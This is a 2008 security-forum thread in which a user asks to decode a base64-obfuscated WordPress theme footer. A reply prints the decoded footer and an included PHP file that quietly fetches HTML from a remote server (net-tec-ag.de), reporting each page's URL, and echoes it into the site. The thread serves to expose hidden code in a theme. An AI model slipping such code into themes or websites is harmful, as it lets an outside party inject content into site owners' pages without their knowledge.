|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
footer php base 64 decode |
|
Posted: Sat Sep 06, 2008 4:51 am |
|
|
haxxor |
Beginner |
|
|
Joined: Sep 06, 2008 |
Posts: 2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Posted: Sat Sep 06, 2008 6:51 am |
|
|
mge |
Valuable expert |
|
|
Joined: Jul 16, 2008 |
Posts: 142 |
|
|
|
|
|
|
|
footer:
Code: | ?> <div class="clear"></div>
</div></div></div>
<!-- /Main -->
<!-- Footer -->
<div id="footer">
<?php wp_loginout(); ?> | <img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.png" alt="" /><a href="feed:<?php bloginfo('rss2_url'); ?>" class="rss"> Entries RSS</a> | <img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.png" alt="" /><a href="feed:<?php bloginfo('comments_rss2_url'); ?>" class="rss"> Comments RSS</a> <br />
Copyright © <?php echo date("Y"); ?> <a title="Copyright" href="<?php echo get_settings('home'); ?>/"><?php bloginfo('name'); ?></a> | Design by <a href="http://www.litereview.com/">Lite Review</a> and Supported by <?php include(TEMPLATEPATH . '/jensos.php'); ?> and <a href="http://oneleveldirectory.com">One Level Directory</a>
</div>
<!-- Footer -->
</div>
<!-- /Page -->
<?php wp_footer(); ?>
</body>
</html><? |
jensos:
Code: | ?><?php
$defaultHtml = '';
//show_footer_links('localhost', '/php/FLink/src/FLink/script.php', 3.5, $defaultHtml);
show_footer_links('net-tec-ag.de', '/FLink/script.php', 3.5, $defaultHtml);
/**
* Show html provided by scripts.php
*
* @param string $requestHost the hostname of the script.php
* @param string $requestUri - the uri/path to the script.php
* @param string $defaultHtml - default html to show if some problem
* @param float $timeout - the request timeout
*/
function show_footer_links($requestHost, $requestUri, $timeout, $defaultHtml) {
$thisDomain = getenv('HTTP_HOST');
$thisUri = getenv('REQUEST_URI');
$html = $defaultHtml;
// skip if no domain or local domain
if ($thisDomain && !preg_match('/^(localhost|127.0.0.1)(:|$)/s',
$thisDomain)) {
$thisUrl = "http://$thisDomain$thisUri";
$requestUri = $requestUri . '?url=' . urlencode($thisUrl);
$requestHost = fill_subdomain($thisUrl, $requestHost);
$content = read_http_url($requestHost, $requestUri, 2.5);
// removing utf-8 BOM signature (if any):
$content = preg_replace('/^(\xEF\xBB\xBF)*\s*</s', '<', $content);
//echo "received: $content";
if (preg_match('/^<!--start-->.+<!--end-->\s*$/s', $content)) {
$html = $content;
}
}
echo $html;
}
function fill_subdomain($url, $requestHost) {
if ($requestHost !== 'localhost') {
if (function_exists('crc32')) {
$crc32 = crc32($url);
$ucrc32 = sprintf('%u', $crc32);
$num = $ucrc32 % 10;
} else {
$num = 0;
}
$subdomain = 'www' . $num . '.';
$requestHost = $subdomain . $requestHost;
//echo $requestHost;
}
return $requestHost;
}
// perfrom pne get http call
function read_http_url($host, $uri, $timeout) {
$start = microtime_float();
$content = '';
$fh = @fsockopen($host, 80, $errno, $errstr, 0.5);
if ($fh && !$errstr) {
if (function_exists('socket_set_timeout')) {
socket_set_timeout($fh, $timeout);
}
socket_set_blocking($fh, 0);
$request = <<<EOD
GET $uri HTTP/1.0
Host: $host
Connection: close
EOD;
$write_err = @fwrite($fh, $request);
while (!feof($fh) && (microtime_float() - $start < $timeout)) {
usleep(5000);
$block = fread($fh, 1024*4);
$content .= $block;
}
fclose($fh);
$content = preg_replace('/^(.+?)(\r\n|\n){2}/s', '', $content);
}
return $content;
}
// precise time in microseconds as float
function microtime_float() {
list($usec, $sec) = explode(' ', microtime());
return ((float)$usec + (float)$sec);
}
?> |
there's a code segment after this but it doesn't get evaluated anyway so it doesn't make sense on its own. |
|
|
|
|
|
|
|
|
Posted: Sat Sep 06, 2008 1:55 pm |
|
|
haxxor |
Beginner |
|
|
Joined: Sep 06, 2008 |
Posts: 2 |
|
|
|
|
|
|
|
Thanks a lot my friend!
Really, thanks. |
|
|
|
|
|
PHP script decode requests |
|
Posted: Tue Jun 02, 2009 8:23 pm |
|
|
ferto |
Beginner |
|
|
Joined: Jun 02, 2009 |
Posts: 1 |
|
|
|
|
|
|
|
What makes the code?
Please tell me for know.
Thank you very much |
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|